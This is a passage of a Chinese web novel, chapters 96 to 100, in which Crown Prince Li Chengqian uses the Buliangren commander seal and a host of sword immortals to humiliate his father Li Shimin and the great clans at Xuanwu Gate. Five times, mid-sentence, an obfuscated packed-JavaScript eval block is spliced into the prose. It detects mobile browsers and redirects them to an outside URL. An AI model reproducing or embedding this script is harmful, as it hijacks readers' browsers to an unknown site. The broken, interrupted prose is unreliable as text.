就在不久前,为了逼迫袁天罡交出不良人,他确实在盛怒之下,将那个神神叨叨的老神棍斥退。 可那又如何? 他是皇帝! 他是天子! 他的命令,谁敢不从?! “朕是皇帝!” 李世民嘶吼道,“不良人是朕的!朕让他们放箭,他们就得放箭!” “是么?” 李承乾伸出一根手指,遥遥指向城下那片沉默的军队,声音陡然提高了几分,字字铿锵,敲击在所有人的心上。 “不良人,听命不良将。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253020|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话音未落,他又吐出下一句,声音愈发洪亮,响彻云霄。 “不良将,听命不良帅!” 轰! 这两句话,砸在李世民和五姓七望众人的天灵盖上。 李泰煦等人只觉得眼前一黑,双腿发软,几乎站立不稳。 他们不是蠢人,相反,他们是这个时代最顶尖的聪明人。 他们瞬间就明白了这两句话背后那令人胆寒的逻辑链条。 李世民的脸色,在这一刻变得煞白。 他嘴唇哆嗦着,指着李承乾,却一个字也说不出来。 恐惧,前所未有的恐惧,扼住了他的咽喉。 他看到,李承乾缓缓举起了自己的右手。 在他的手中,一枚古朴的、刻着玄奥符文的青铜令牌,正静静地躺着。 那令牌散发着幽冷的光芒,上面一个篆体的“帅”字。 帅印! 是不良人的帅印! “没有帅印,” 李承乾的声音变得冷酷而决绝,“不得号令不良人!” 轰隆——! 这一次,不再是比喻。 所有人的脑海中,仿佛真的有惊雷炸响。 李泰煦“噗通”一声瘫倒在地,面如死灰,口中喃喃自语:“完了……全完了……” 其余的官员也好不到哪里去,一个个面无人色,瑟瑟发抖,被**摧残的鹌鹑。 他们看向李世民的眼神里,再也没有了之前的谄媚和依仗,只剩下无尽的绝望和怨毒。 他们把所有的宝,都压在了皇帝的身上。 可现在,皇帝的底牌,竟然成了对方的王牌! 李世民呆呆地看着那枚帅印,身体晃了晃,向后踉跄了一步,被身后的房玄龄和杜如晦及时扶住。 他感觉自己的世界,正在一片片地剥落、粉碎。 他终于明白了。 从一开始,这就是一个局。 一个针对他,针对整个大唐旧有秩序的,天大的骗局! 袁天罡的“背叛”,不良人的“失控”,所有的一切,都在这个逆子的算计之中! 他以为自己是执棋人,高高在上,掌控一切。 殊不知,他自己,才是那颗被算计得最惨的棋子! 第96章 父子相争的终极对决 此刻,玄武门上,父子二人遥遥对峙。 一个,是站在权力之巅,却威严尽失的帝王。 另一个,是悬于九天之上,英姿勃发、掌控全局的太子。 昔日的玄武门,见证了他李世民踏着兄弟的鲜血登上王座。 而今日的玄武门,似乎,要见证一个新时代的开启,和一个旧时代的落幕。 风,更烈了。 吹得城楼上的龙旗疯狂地翻卷,发出凄厉的哀鸣。 “逆子!逆子——!” 李世民的声音嘶哑、破碎,被撕裂的破布。 他双目赤红,死死地瞪着城楼下那个挺拔的身影,那双曾经承载着无上威严的龙目,此刻只剩下血丝和疯狂的恨意。 他挣扎着,想要挣脱房玄龄和杜如晦的搀扶,要扑过去将那个逆子撕成碎片。 可他的身体每动一下,都感觉骨头在哀嚎,五脏六腑都在翻腾。 “不良帅的帅印……为何会在你手中!” 他几乎是从牙缝里挤出这句话,每个字都带着血腥味,“袁天罡!他竟然敢……他竟然敢将帅印交给你这个叛逆!” 那不仅仅是一枚令牌。 那是他李世民藏得最深的一把刀,是他用来监视天下、制衡百官、铲除异己的幽灵。 不良人,这支只听命于他一人的暗影之师,是他皇权最隐秘也最坚实的基石之一。 而现在,这块基石,被他的亲生儿子,硬生生地从他脚下抽走了。 不,不是抽走。 是袁天罡,那个他倚为心腹、视为国之柱石的道人,亲手将这块基石,送到了他对手的阵营里! 这个认知,比一万把刀子捅进心脏还要痛苦。 背叛! 赤裸裸的背叛! 李世民感到一阵天旋地转,喉头涌上腥甜,他强行咽了下去,可那股**和愤怒在他胸腔里疯狂冲撞。 城楼下的李承乾,听着父亲那饱含痛苦和愤怒的嘶吼,脸上却不见丝毫动容。 他甚至轻轻地、慢条斯理地用袖口擦了擦那枚青铜帅印,仿佛在拂去上面根本不存在的尘埃。 他的动作优雅而从容,与城楼上李世民的癫狂形成了刺眼的对比。 “父皇。” 李承乾终于开口了,声音清朗,通过内力远远传来,清晰地钻进每一个人的耳朵里。 “你这话,说得可就没什么道理了。” 他抬起头,目光平静地迎上李世民那要**的眼神,嘴角勾起若有若无的弧度,那不是嘲讽,更一种冰冷的怜悯。 “袁天罡对你,已经算是仁至义尽了。” 李承乾的声音顿了顿,在给城楼上的众人一个消化的时间。 他踱了两步,黑色的披风在烈风中翻飞,猎猎作响,衬得他身姿越发挺拔如松。 “他追随你,从太原起兵,到玄武门之变,再到君临天下。为你李家的江山,他付出了多少?你登基之后,又是如何对他的?” “父皇,你将他当成什么了?一条为你清除障碍的狗吗?用完了,就觉得他碍眼了?觉得他知道的太多了?甚至开始猜忌他,防备他,恨不得将他这条老狗的牙一颗颗拔光?” 李承乾的声音陡然提高,带着森然的寒意。 “五姓七望的官员羞辱他,你也逼他做出选择,你将他这位大唐的护国法师,置于何地?” “受到这等奇耻大辱,他没有直接带着不良人倒戈相向,而是选择将帅印交出,远遁山林,这已经是看在往日的情分上,给你留足了体面。” 李承乾的话,一柄柄淬了毒的锥子,毫不留情地扎进李世民的心窝。 李世民的呼吸愈发急促,脸色由煞白转为猪肝般的紫红。 他想反驳,想怒吼,却发现自己一个字都说不出来。 因为李承乾说的,全都是事实! 是他,是他一步步将袁天罡逼到了对立面! 城楼上的五姓七望官员们,已经彻底呆滞了。 他们之前还抱着侥幸,觉得皇帝手握不良人这张底牌,尚有翻盘的可能。 可现在,底牌成了对方的王炸! 李泰煦瘫在地上,浑身抖如筛糠,嘴里不断发出意义不明的嗬嗬声。 他看着城下的李承乾,眼神里充满了前所未有的恐惧。 这个太子,太可怕了! 他的每一步,都算得如此精准,如此狠毒! 他不仅要**,他还要诛心! 他要让皇帝在天下人面前,威严丧尽,众叛亲离! 此时,李承乾的声音再次响起,带着轻描淡写的残酷。 “父皇,说句掏心窝子的话。” 他顿了顿,将那枚帅印在指尖抛了抛,动作潇洒写意,仿佛那不是代表着生杀大权的帅印,而是一枚普通的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253021|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铜钱。 “这要是换做我,受到了这种**……” 他微微一笑,露出一口白牙,那笑容在夕阳的余晖下,显得格外森冷。 “早就反了!” 轰——! 最后三个字,如同九天之上落下的惊雷,在李世民的脑海中轰然炸响! “啊——!” 李世民再也压抑不住内心的狂怒和绝望,他猛地推开身边的房玄龄和杜如晦,发出一声不似人声的咆哮。 他的双眼布满了血丝,理智的弦彻底崩断。 此刻的他,不再是那个运筹帷幄、雄才大略的帝王,而是一头被逼入绝境、伤痕累累的野兽! “孽畜!你这个孽畜!” 他指着李承乾,身体剧烈地颤抖着,滔天的怒火几乎要将他的胸膛烧穿。 他李世民一生,杀兄弑弟,逼父退位,什么大风大浪没有见过? 什么阴谋诡计没有识破? 可他从未想过,自己有朝一日,会被自己的亲生儿子,用同样的方式,逼到如此狼狈不堪的境地! 更让他无法忍受的,是李承乾那副理所当然的姿态! 仿佛他做的这一切,都是天经地义! 仿佛他李世民,就是一个昏聩无能、活该被推翻的**! 这比杀了他还难受! “来人!给朕……给朕拿下这个乱臣贼子!” 李世民用尽全身力气,发出了嘶吼,“玄武门的守军呢?都**吗!给朕放箭!射死他!给朕射死他——!” 他的声音在空旷的城楼上回荡,带着无尽的疯狂和绝望。 然而,回应他的,只有呼啸的北风,和城楼上下一片死寂。 玄武门的守军们,握着弓箭的手在微微颤抖。 他们面面相觑,眼神中充满了迷茫和恐惧。 射谁? 城楼上的是皇帝,城楼下的是太子。 一个是昨日之君,一个是明日之主。 这一箭射出去,射中的究竟是叛逆,还是自己的未来? 没有人敢动。 在这父子相争的终极对决中,任何站队,都可能是万劫不复的深渊。 看着这一幕,李承乾脸上的笑容更深了。 他缓缓收起帅印,负手而立。 他甚至不需要再多说一句话。 人心,已经在他这边了。 第97章 父皇,投降吧! 李承乾脸上的笑意,如冰川上裂开的缝隙,深不见底。 他没有再去看城楼上那个状若疯癫的父亲。 他的目光,缓缓扫过玄武门下每一寸沉寂的土地,扫过那些藏于暗处、蛰伏于阴影中的存在。 然后,他举起了手。 那枚代表着大唐最隐秘、最恐怖力量的帅印,在他手中,迎着最后一缕血色残阳,闪烁着幽冷的光。 “不良人听命。” 他的声音并不高,却像一把锋利的锥子,瞬间刺穿了玄武门前压抑的死寂。 时间凝固了一瞬。 风停了。 所有人的呼吸都停了。 紧接着—— “诺!” 一个字,从长安城的四面八方,从每一条街道,每一处屋檐,每一个阴暗的角落,同时炸响! 那不是数千人的呼喊,那更一头沉睡了三百年的远古凶兽,在此刻睁开了它血红的眼睛,发出了震彻天地的咆哮! 轰! 整个玄武门,乃至半个长安城,都在这声应诺中剧烈地颤抖了一下! 城楼之上,那些原本还心存侥幸的五姓七望官员,脸上的血色瞬间褪得一干二净。 李泰煦,那个刚刚还在地上抖如筛糠的陇西李氏家主,此刻两眼一翻,竟是直接吓得昏**过去。 其余的人,也好不到哪里去。 崔氏的家主死死抓住城墙的垛口,指节因用力而发白,牙齿磕碰着,发出“咯咯”的声响。 太原王氏的代表,一屁股瘫坐在地上,浑身冷汗,嘴唇哆嗦着,却一个字也说不出来。 他们看到了什么? 他们看到了,在城门之下,在街道的尽头,在两侧的屋顶上,一道道黑色的身影如同鬼魅般凭空出现。 他们头戴斗笠,面覆恶鬼之相,身披玄色劲装,腰佩制式弯刀。 他们无声无息,是从地狱爬出的恶鬼,从阴影中滋生的梦魇。 他们是……不良人! 大唐天子手中最锋利,也最隐秘的一把刀! 这支只闻其名、不见其形的幽灵军队,传闻中上天入地,无所不能。他们监察百官,刺探军情,甚至能于千里之外,取上将首级! 他们是皇帝的影子,是悬在所有心怀不轨之人头上的达摩克利斯之剑! 可现在,这把剑,这支只听命于皇帝和不良帅的幽灵军队,却对太子……俯首听命! 恐惧,是会传染的瘟疫。 这一刻,所有站在李世民身后的官员,都感觉到了刺骨的寒意,那种寒意顺着他们的脊椎骨一路爬上天灵盖,让他们浑身的血液都几乎要冻结了。 完了。 一切都完了! 李世民呆呆地看着城下。 那一声“诺!”,一记重锤,将他最后的骄傲和理智,彻底砸得粉碎。 他眼中的疯狂和暴怒褪去,取而代之的是一片死灰。 是万念俱灰的寂灭。 他认得那枚帅印。 那是他亲手交给袁天罡的。 普天之下,见帅印如见不良帅亲临。 可袁天罡……袁天罡不是应该忠于自己吗? “不良帅印……” 李世民的声音嘶哑得如同破旧的风箱,每一个字都带着血沫,“……为何……会在你手中!” 他不是在质问,而是在哀嚎。 “你刚才问过一遍了!” “还用我说一边吗?你赶走了忠心耿耿的大唐国师袁天罡!” 这是一个帝王的悲鸣,一个父亲的绝唱。 李承乾将帅印缓缓收回袖中,他的动作依旧从容不迫,英姿勃发的身影在无数火把的映照下,宛如神祇。 他抬起头,再次看向城楼上那个已经摇摇欲坠的身影,嘴角勾起一抹残忍的弧度。 “父皇,”他的声音不大,却清晰地传到了每一个人的耳朵里,“事到如今,你还不准备投降吗?” 他顿了顿,语气陡然变得森寒凌厉,是在审判一个罪无可赦的囚徒。 “你还要……叛逆到何时!” 轰! “叛逆”二字,如同一道黑色的闪电,狠狠劈在李世民的天灵盖上! 他猛地抬起头,那双布满血丝的眼睛死死地瞪着李承乾,胸膛剧烈地起伏着,喉咙里发出困兽嗬嗬声。 他李世民,是天策上将,是秦王,是大唐的皇帝! 他一生都在平定叛逆! 可今天,他竟然被自己的儿子,指着鼻子,骂作叛逆! 奇耻大辱! 这是何等的奇耻大辱! “噗——” 一口鲜血,再也抑制不住,从李世民口中狂喷而出,染红了他身前的龙袍。 “李承乾! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253022|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 李世民指着城下的儿子,用尽了全身最后力气,发出了撕心裂肺的咆哮。 “你倒反天罡了!” 这一声怒吼,充满了无尽的悲愤与绝望。 天罡,袁天罡。 那不仅仅是一个臣子的名字,更是他李世民过去岁月里,最深的信任与倚仗的象征。 连他都背叛了自己…… 这个天下,还有谁,不会背叛自己? 李承乾的目光,像两道淬了冰的利剑,缓缓从他父亲那张惨白绝望的脸上移开。 他没有再多说一个字,只是轻轻转动脖颈,那身玄黑色的甲胄在火光下流淌着暗沉的光。 他的视线,越过城墙与城下之间的深渊,精准地落在了城楼之上,那一群刚刚还慷慨陈词、义愤填膺的世家大族官员身上。 为首的,正是陇西李氏的家主,李泰煦。 在那冰冷目光扫过来的一瞬间,李泰煦只觉得寒气从脚底板直冲头顶,浑身的血液都被冻住了。他下意识地向后退了一步,脚后跟撞在冰冷的城砖上,发出“咯噔”一声轻响。 这一声,点燃了**桶的引线。 “哗啦——” 他身后的那些五姓七望的官员们,被无形的鞭子抽了一下,齐刷刷地跟着后退了一大步。 他们刚才还昂首挺胸,自己是匡扶社稷的忠臣良将,唾沫横飞地指责太子大逆不道。可现在,当那枚象征着皇帝最隐秘、最恐怖力量的不良帅印出现时,当城下三千不良人山呼海啸回应响起时,他们所有的勇气和底气,都在瞬间被抽得一干二净。 胜券在握的陛下,转眼间成了困兽。 而他们,这些将所有赌注都压在陛下身上的“忠臣”,也成了砧板上的鱼肉。 他们不敢再抬头,不敢再与城下那个宛如魔神的身影对视。一个个都恨不得把头缩进自己的领子里,恨不得自己能化作这城墙上的一块砖石,不被任何人注意到。 那卑微畏缩的模样,与方才的嚣张跋扈,形成了何等讽刺的对比。 李承乾看着这群人的丑态,嘴角扯出一抹极尽轻蔑的冷笑。 “一群软骨头!” 他的声音不大,却带着刺骨的寒意,清晰地传到城楼上每一个人的耳朵里。 “墙头草!” 这声怒骂,让李泰煦等人的身子又是一颤,头埋得更低了。 第98章 李世民众叛亲离 李承乾却没有再看他们一眼,多看一眼都是对自己的侮辱。他重新抬起头,目光再次锁定在李世民的身上,那眼神里带着残忍的怜悯,在看一个可悲的笑话。 “父皇。” 他缓缓开口,语气平静得可怕。 “你睁开眼睛看看。” 他伸出手指,遥遥指向李泰煦和他身后那群瑟瑟发抖的官员。 “看看他们!这就是你倚仗的大臣!这就是你认为忠肝义胆的栋梁!” “你再看看,他们有一个算一个,谁的膝盖是直的?谁的脊梁是硬的!” “这就是你宁愿相信他们,也不愿相信我的结果!” 李承乾的每一句话,都一记重锤,狠狠砸在李世民本就摇摇欲坠的心防上。 李世民顺着他的手指看去。 他看到了。 他看到李泰煦那张老脸上写满了恐惧与谄媚的交织,看到那些世家官员们恨不得五体投地的卑贱模样。 这些人,就在半个时辰前,还信誓旦旦地向他保证,五姓七望将誓死效忠于他,与太子势不两立! 可现在呢? 背叛! 赤裸裸的背叛! 比刚才被儿子指着鼻子骂“叛逆”时更加强烈的**和怒火,轰然引爆了李世民的胸膛! 他的眼睛红得要滴出血来,那张因失血而苍白的脸扭曲成了一个狰狞的形状。 “好……好啊!” 他怒极反笑,笑声嘶哑而凄厉。 “朕的忠臣!朕的肱股之臣!” 他猛地转过身,用尽全身的力气,对着身后那群已经吓破了胆的官员们发出最后的咆哮: “谁!与朕一起!诛杀此獠!” 他声音里的绝望和疯狂,让每一个听到的人都心头发颤。 “谁愿与朕共赴国难!” 锵——! 一声清越的龙吟。 那柄象征着九五至尊、天下权柄的天子剑,被李世民从腰间猛然抽出! 剑身在火光下反射出森然的寒光,剑锋直指城下的李承乾! 这一刻,玄武门的城楼上,死的寂静。 风声,火把燃烧的“噼啪”声,还有城下数万大军沉重的呼吸声,都被这突如其来的寂静吞噬了。 无人应声。 没有一个人站出来。 没有一个人敢上前一步。 李世民身后,那些文臣武将,那些皇亲国戚,此刻都被施了定身咒的木偶。 长孙无忌死死地攥着拳头,指甲深深嵌入掌心,可他的双脚却灌了铅一样,动弹不得。 房玄龄和杜如晦,这两位大唐的宰相,不约而同地低下了头,避开了皇帝那双几乎要喷出火来的眼睛。他们心中清楚,大势已去,此刻任何的抵抗,都只是徒劳的送死。 就连秦琼、程咬金这些身经百战的宿将,此刻也只是沉默地伫立着。他们可以为大唐流尽最后一滴血,却无法在这场父子相残的惨剧中,做出任何选择。更何况,城下那三千不良人所带来的威慑,足以让任何军队望而却步。 所有人都沉默着。 这沉默,是对一个帝王最残忍的凌迟。 李世民持剑的手,在剧烈地颤抖。 他那双布满血丝的眼睛,缓缓地、一个一个地扫过他身后这些熟悉的面孔。 他看到了畏惧。 他看到了躲闪。 他看到了麻木。 他甚至在一些人的眼中,看到了……解脱? 他没有看到忠诚。 一毫都没有。 “啊——!” 李世民仰天发出一声凄厉到不似人声的怒吼。 怒不可遏! 那股滔天的怒火和无边的绝望,再也找不到任何宣泄的出口,最终化作了毁灭一切的疯狂。他紧握着天子剑,那双赤红的眼睛死死地锁定在城下的李承乾身上,要将他生吞活剥。 “逆子!逆子!朕今日便亲手宰了你!” 他嘶吼着,提着剑,竟真的踉跄着要朝城下冲去! 一个失去了所有支持的皇帝,要独自一人,去挑战他那手握百万雄兵的儿子。 这已经不是勇武,而是彻头彻尾的疯狂。 是末路帝王的悲歌。 但李世民的脚步,仅仅迈出两步,便僵在了原地。 他没有被任何人拦住。 拦住他的,是突如其来的、彻骨的寒意。 并非来自夜风,而是源自他那个逆子。 城楼之下,李承乾缓缓抬起了头。 他甚至没有看他那状若疯癫的父亲一眼。 他的目光,冰冷如霜,穿透了摇曳的火光和纷乱的人影,径直落在了长孙无忌、李泰煦那群世家官员的身上。 下一瞬,李承乾动了。 没有借助任何工具,他只是脚尖在马镫上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253023|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻轻一点,整个人便如同一片没有重量的羽毛,飘然而起。 他的身形在夜空中划出一道优雅而致命的弧线,悄无声息地落在了玄武门的城楼之上。 “咚。” 一声轻响,如同战鼓的第一声擂击,敲在每个人的心上。 他落地之处,距离那群瑟瑟发抖的五姓七望官员,不过十步之遥。 李承乾手中提着剑,那柄剑的剑鞘古朴无华,可他的人,却比出鞘的利剑还要锋芒毕露。 他向前走了一步。 “哗啦——” 以陇西李氏家主李泰煦为首的一众官员,被无形的巨浪拍中,齐刷刷地向后退了一大步。有人脚下不稳,狼狈地撞在身后的人身上,引发一阵混乱的闷哼和惊呼。 他们脸上那点仅存的血色,瞬间褪得干干净净,只剩下**惨白。 李承乾又向前走了一步。 他们便又惊恐地向后退了一步。 这副场景滑稽得令人发笑。 一方是闲庭信步,气定神闲。 另一方是魂飞魄散,步步惊心。 李承乾停下了脚步,嘴角噙着一抹极淡的、却又无比讥讽的笑意。 他的声音不大,却清晰地钻进每个人的耳朵里,一根根淬了冰的钢针。 “怎么不叫了?刚才那股子劲儿呢?” 他歪了歪头,目光从李泰煦那张毫无血色的老脸上,缓缓移到另一个抖得像筛糠的崔氏官员身上。 “孤好像记得,就是你,刚才喊得最大声,说要将孤……**万段?” 那崔氏官员“扑通”一声就跪了下来,裤裆处迅速濡湿一片,骚臭味弥漫开来。 他涕泪横流,磕头如捣蒜:“殿下饶命!殿下饶命啊!是……是老臣昏了头!老臣罪该万死!老臣胡言乱语!” 李承乾看都没再看他一眼,那只是一滩令人作呕的烂泥。 他的目光重新锁定了李泰煦。 “还有你们。” 他用剑尖,不带烟火气地,遥遥画了一个圈,将所有世家官员都圈了进去。 “刚才,不是一个个义愤填膺,嚷嚷着要诛杀孤这个‘乱臣贼子’吗?” 他往前倾了倾身子,语气陡然变得森寒,每一个字都从九幽地府里捞出来的。 “怎么,孤现在就站在这儿,你们的刀呢?” “你们的胆呢?” 无人敢言。 第99章 五姓七望富可敌国,敲骨吸髓!他们该死啊! 空气死寂得可怕,只能听到牙齿打颤的“咯咯”声和粗重而惊恐的喘息。 李泰煦强撑着世家门阀的尊严,嘴唇哆嗦着,却一个字也说不出来。他感觉自己面对的不是一个人,而是一尊即将苏醒的远古魔神。那股威压,让他连呼吸都觉得是一种奢侈。 看着他们这群窝囊废的样子,李承乾眼中的讥讽化作了滔天的怒火。 就是这群蛀虫! 就是这群两面三刀的墙头草! 他们蛊惑君父,祸乱朝纲,视天下百姓为刍狗! 磅礴的杀意,自李承乾体内轰然爆发! 他猛地抬起头,双目之中,有雷霆炸裂! “来诛!!” 一声怒喝,石破天惊! 这声音不再是人的声音,而是龙吟虎啸,是天神的敕令! 轰隆——! 晴朗的夜空,毫无征兆地响起一声沉闷的巨雷! 紧接着,原本星月朗照的天穹,竟以肉眼可见的速度被无尽的墨色乌云吞噬。狂风呼啸而起,吹得城楼上的旌旗猎猎作响,鬼哭神嚎。 火把的光芒在狂风中被压制到了极致,明灭不定,将人脸映照得青白交加。 难以言喻的恐怖威压,从天而降! 那不是军队的杀气,而是一种更高层次的、源自天地的伟力! 城楼上的所有人,包括秦琼、程咬金这些身经百战的宿将,都感觉心脏被一只无形的大手狠狠攥住,几乎要停止跳动。 他们骇然地望向城下。 只见那三千名身穿黑甲、静默如山的不良人。 抬头看虚空,三千蜀山剑仙虚空而立! 随着李承乾那声怒喝,这三千蜀山剑仙,动作整齐划一,如一人之身。 锵——!!! 三千柄长剑,同时出鞘! 那声音汇聚成一道穿金裂石的龙吟,直冲云霄,要将这苍穹都撕开一道口子! 剑光如雪,亮彻天地! 那一瞬间,整个长安城都被映成了白昼! 紧接着,三千剑仙,举剑向天! 三千道璀璨的剑气冲天而起,在半空中汇聚成肉眼可见的、庞大到无法想象的剑意洪流。那股洪流化作了一片实质漆黑云海,盘旋在玄武门的上空,缓缓旋转,带着毁灭一切的恐怖气息。 黑云压城城欲摧! 这一刻,玄武门那坚固的城墙,都在这股剑意之下发出了不堪重负的呻吟。 城楼上,那群五姓七望的官员们,再也承受不住这种来自灵魂深处的恐惧。 “啊——!” 不知是谁发出了一声凄厉的惨叫,紧接着,他们便如同被割倒的麦子,成片成片地瘫软在地,屎尿齐流,丑态百出。 李泰煦双腿一软,也瘫坐在地,面如死灰,眼神涣散,口中喃喃自语:“神……神仙……这是神仙之威……” 而另一边,那个刚刚还叫嚣着要亲手手刃逆子的李世民,此刻正背靠着冰冷的城墙,缓缓滑落在地。 他手中的天子剑,“当啷”一声掉在地上,发出清脆而又无比讽刺的声响。 他怔怔地望着城下那片剑气冲霄的景象,又看了看自己那个独立于风中、恍如神魔的儿子。 他的脸上,再也没有了愤怒,没有了疯狂。 只剩下无尽的灰败和茫然。 他输了。 输得一败涂地,输得体无完肤。 他不是输给了权谋,不是输给了兵戈。 他输给了神明。 不,更准确地说,是输给了他这个亲手养大,却从未真正看透过一眼的儿子。 狂风依旧在玄武门的城楼上肆虐,卷起尘土与血腥,混杂着令人作呕的骚臭。 那股源自三千剑仙的恐怖剑意,如同一座无形的大山,死死地压在每个人的心头。 在这片死寂与恐慌之中,李承乾动了。 他缓缓转过身,那双燃烧着雷霆的眸子,不再望向城下的剑阵,而是穿透了风沙,精准地落在了那个瘫软在城墙根下的身影上。 他迈开脚步,一步,一步,朝着李世民走去。 他的步伐不快,却沉重如山,每一步都踩在了李世民的心脏上,踩在了大唐开国君主那早已千疮百孔的尊严上。 他没有去看那些瘫软如泥、屎尿横流的世家官员,甚至没有多看一眼面如死灰的李泰煦。 他的眼中,只有他的父皇。 那个曾经高高在上,视他为棋子,视他为逆子的男人。 风将他玄色的衣袍吹得猎猎作响,衬托得他身姿愈发挺拔,宛如一尊从远古神话中走出的战神,英姿勃发,带着审判一切的威严。 终于,他在李世民面前站定。 他居高临下地俯视着自己狼狈不堪的父亲,眼神里没有一毫的怜悯,只有冰彻骨髓的失望与嘲弄。 “父皇。” 他开口,声音不大,却清晰地传入了在场每一个人的耳中,压过了风声,压过了一切的杂音。 “你睁开你的眼睛,好好看一看!” 他的声音陡然拔高,如同炸雷! 李世民身子一颤,竟真的下意识地抬起了头。那双曾经睥睨天下、洞察人心的龙目,此刻只剩下灰败与空洞。 顺着李承乾手指的方向,他看到了。 他看到了以陇西李氏家主李泰煦为首的五姓七望的官员们,一个个蜷缩在地上,抖如筛糠,涕泪交流,身下污秽一片,散发着恶臭。 他们哪里还有半分往日里指点江山、口含天宪的士族风骨? 他们现在,连摇尾乞怜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253024|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的狗都不如! “看清楚了吗?”李承乾的声音充满了讥讽,“这就是你的忠臣!这就是你的良将!” “你为了安抚他们,为了所谓的朝局安稳,把他们一个个养得肥头大耳,让他们在地方上作威作福,让他们把持朝政,让他们富可敌国!” “可结果呢?”李承乾发出一声冷笑,那笑声比冬日的寒风还要刺骨。 “结果就是,当你李世民大难临头的时候,这群被你喂饱了的狗,没有一条敢站出来为你吠一声!” “他们只会跪下!只会求饶!只会把你的尊严,把大唐的颜面,扔在地上,再狠狠地踩上几脚!” 字字句句,如同一记记响亮的耳光,狠狠地抽在李世民的脸上。 李世民的嘴唇哆嗦着,他想反驳,却发现自己一个字也说不出来。 因为,李承乾说的,全都是事实! 是他,为了平衡朝中势力,不断地向这些传承百年的门阀世家妥协。 是他,为了彰显自己海纳百川的胸襟,对这些人的贪婪与跋扈一再容忍。 他以为自己能掌控一切,以为这些世家不过是他棋盘上的棋子。 可直到今天,直到他这个儿子掀翻了棋盘,他才发现,这些所谓的“忠臣良将”,不过是一群趋炎附势、毫无骨气的墙头草!风一吹,就全倒了! 何其可笑!何其悲哀! “还有你们!” 他的声音陡然转冷。 “我大唐的百战宿将!你们的刀呢?你们的枪呢?” “你们眼睁睁地看着他被小人蒙蔽,看着他要自毁长城,看着他要将屠刀挥向自己的亲生儿子!” “你们做了什么?你们就站在这里,看着!” 浑身一震,脸上血色尽褪,羞愧地低下了头,紧紧握住兵器的手,青筋毕露,却又无力地垂下。 是啊,他们做了什么? 他们什么都没做。 他们忠于皇帝,可当皇帝犯错的时候,他们的忠诚,就变成了助纣为虐的沉默! 李承乾收回目光,最后,重新凝聚在李世民那张苍白如纸的脸上。 他的语气,终于带上了难以言喻的疲惫和悲凉。 “父皇,你输了。” “你不是输给了我,不是输给了这三千剑仙。” “你是输给了你自己,输给了你那可悲的帝王心术,输给了你引以为傲的满朝文武!” “五姓七望富可敌国,敲骨吸髓!他们该死啊!父皇,你可知道,五姓七望的一家公子,一日花费多少金银?” “多少?” “一掷千金!” “每日花费,十万两白银!” “我想问父皇,五姓七望的俸禄不多,他们如何有富可敌国的财富!” 第100章 难道他有神仙相助! 李承乾的声音在死寂的玄武门回荡,每一个字都淬了冰的钢针,扎进在场每一个人的心里。 李世民张着嘴,喉咙里发出嗬嗬的声响,却一个字也吐不出来。 十万两白银! 每日! 这数字如同一座无法撼动的山,轰然压在他的心头,让他喘不过气。 他知道世家豪奢,却从未想过竟已糜烂至此! 李承乾冰冷的目光扫过地上那群抖成一团的“国之栋梁”,嘴角扯出极尽嘲讽的弧度。 他没有再等李世民的回应,因为他根本不需要。 他要的,是审判! “父皇觉得不可思议?这只是其一!” 李承乾挺直了身躯,原本就高大的身影在烛火的映照下,投下巨大的阴影,将地上的官员们完全笼罩。 